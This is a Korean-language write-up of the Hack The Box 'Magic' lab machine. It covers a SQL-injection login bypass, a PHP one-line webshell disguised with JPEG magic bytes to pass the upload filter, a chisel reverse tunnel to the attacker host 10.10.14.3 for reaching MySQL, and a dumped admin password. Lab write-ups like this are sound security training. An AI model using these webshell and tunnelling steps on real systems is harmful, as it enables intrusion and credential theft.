HTB-Magic Write up

HTB-Magic Write up

in

Enumeration

image

웹페이지 접속 시 image를 업로드 하는 페이지에서 login.php 경로를 발견

이미지 2 이미지 3

추가적인 스캔에서 images 경로에서 uploads 경로 발견

이미지 1


Foodhold

sql injection 으로 간단하게 로그인 우회 가능
로그인 성공 시 이미지를 업로드 할 수 있는 페이지 발견

이미지 4 이미지 5

php 웹쉘을 업로드 해 보았지만 확장자를 필터링 하고 있음

이미지 6 이미지 7

확장자 명을 바꾸고 content-Type를 변경해 보았지만 우회가 불가능

이미지 8 이미지 9


Magic Bytes

파일의 hex값을 살펴보면 앞의 hex로 파일을 구분할 수 있음

image

jpg 의 경우 4가지로 구분할 수 있음

image

1. FF D8 FF DB
2. FF D8 FF E0 00 10 4A 46 49 46 00 01
3. FF D8 FF EE
4. FF D8 FF E1 ?? ?? 45 78 69 66 00 00

magic byte를 사용하여 webshell.php 파일을 jpg 형태로 생성

echo 'FFD8FFD8' | xxd -r -p > shell.php.jpg
//이후의 코드에 웹쉘 코드 입력
vi shell.php.jpg

// 또는 아래의 방법으로 간단한 웹쉘 생성
echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg
echo '<?=`$_GET[0]`?>' >> webshell.php.jpg

이미지 10

file type 확인 시 jpeg 형태인것을 확인 가능

이미지 11

해당 파일을 업로드 시 자동으로 jpeg 파일로 인식하여 업로드 가능

이미지 12 이미지 13

초기 스캔으로 발견한 images/uploads 폴더로 이동하여 파일 이름 입력 시 업로드한 파일로 접근 가능

이미지 14

이미지 16


mysql 접근

db.php5 의 수상한 파일 발견

이미지 17

mysql dbname , username, password를 획득하였지만 mysql이 설치가 안되있음

이미지 18 이미지 19

1. chisel 이용 mysql 접근

https://github.com/jpillora/chisel
버전에 맞는 파일 다운로드 chisel_1.7.7_linux_arm64.gz

image

chisel 은 피해자의 로컬 호스트를 공격자의 서버에서 접근할 수 있도록 연결해주는 툴

1. 공격자의 서버에서 reverse server 실행

./chisel server -p 6000 -reverse

chisel1

2. 피해자의 서버에서 원하는 포트 연결 (해당 예시에서는 3306 포트)

./chisel client 10.10.14.3:6000 R:6001:127.0.0.1:3306

chisel2

3.피해자의 서버에서만 접근가능한 127.0.0.1:3306을 공격자의 6001 포트에서 접근 가능

mysql -h 127.0.0.1 -P 6001 -u theseus -p iamkingtheseus

chisel3

mysql에서 admin의 패스워드 획득 가능

chisel4

2. mysql dump 사용

mysqldump 를 사용하여 mysql dump 가능

이미지 20

// -u 유저명 , -p 데이터베이스명
mysqldump -u theseus -p Magic

이미지 21

덤프 내용을 통해 admin 패스워드 획득 가능

이미지 22

위의 두가지 방법으로 획득한 패스워드를 통해 theseus 계정 접근 가능

이미지 23